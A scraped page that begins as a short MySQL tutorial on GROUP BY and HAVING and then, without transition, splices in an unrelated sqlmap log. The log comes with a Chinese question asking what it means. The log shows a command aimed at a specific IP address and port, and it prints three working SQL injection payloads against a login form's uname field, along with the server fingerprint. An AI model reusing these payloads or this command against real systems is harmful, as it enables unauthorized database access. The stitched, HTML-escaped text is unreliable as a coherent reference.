sql - group & having example

本文将展示如何使用SQL语言,特别是MySQL,来查询数据库中成绩低于60分的课程数量超过两门的学生。通过创建特定的表结构并填充数据,我们将演示如何执行复杂查询,最终得到目标学生的名单。

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problem:

    there is table store course score of students, now write a sql to query student who has at least 2 course failed, means score<60,

 

sql: (mysql)

# drop table
drop table if exists score;

# create table
create table score(
	id integer AUTO_INCREMENT primary key,
	student_num varchar(32) not null,
	course_name varchar(64),
	course_score float,
	unique key(student_num, course_name)
) engine=MYISAM DEFAULT CHARSET=utf8;

# clear data
truncate score;

# prepare data
insert into score(student_num, course_name, course_score)
values
("001", "English", 100),
("001", "Math", 100),
("002", "English", 90),
("002", "Math", 90),
("003", "English", 20),
("003", "Math", 20),
("003", "Music", 20),
("004", "English", 20),
("004", "Math", 20),
("005", "English", 70),
("005", "Math", 30);

# query
select student_num, count(course_name) as cc
from score
where course_score < 60
group by student_num having cc>=2

 

D:\WpSystem\S-1-5-21-589763762-2765656899-3959673489-1001\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\sqlmap&gt;python sqlmap.py -u http://223.112.5.141:64701/ --data &quot;uname=1*&amp;passwd=1&quot;--dbs ___ __H__ ___ ___[(]_____ ___ ___ {1.9.1.2#dev} |_ -| . [&quot;] | .&#39;| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:25:21 /2025-07-21/ custom injection marker (&#39;*&#39;) found in POST body. Do you want to process it? [Y/n/q] y [15:25:23] [INFO] resuming back-end DBMS &#39;mysql&#39; [15:25:23] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: uname=1&#39;) RLIKE (SELECT (CASE WHEN (1315=1315) THEN 1 ELSE 0x28 END))-- zswx&amp;passwd=1 Type: error-based Title: MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: uname=1&#39;) AND (SELECT 9615 FROM(SELECT COUNT(*),CONCAT(0x71706a7171,(SELECT (ELT(9615=9615,1))),0x7170766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jjis&amp;passwd=1 Type: time-based blind Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP) Payload: uname=1&#39;) AND (SELECT 8466 FROM (SELECT(SLEEP(5)))PVEU)-- xERO&amp;passwd=1 --- [15:25:23] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial) web application technology: Apache 2.4.18 back-end DBMS: MySQL &gt;= 5.0 (MariaDB fork) [15:25:23] [INFO] fetched data logged to text files under &#39;C:\Users\xxxxxxxxxxxxxxxxxxxx\AppData\Local\sqlmap\output\223.112.5.141&#39;什么意思
07-22
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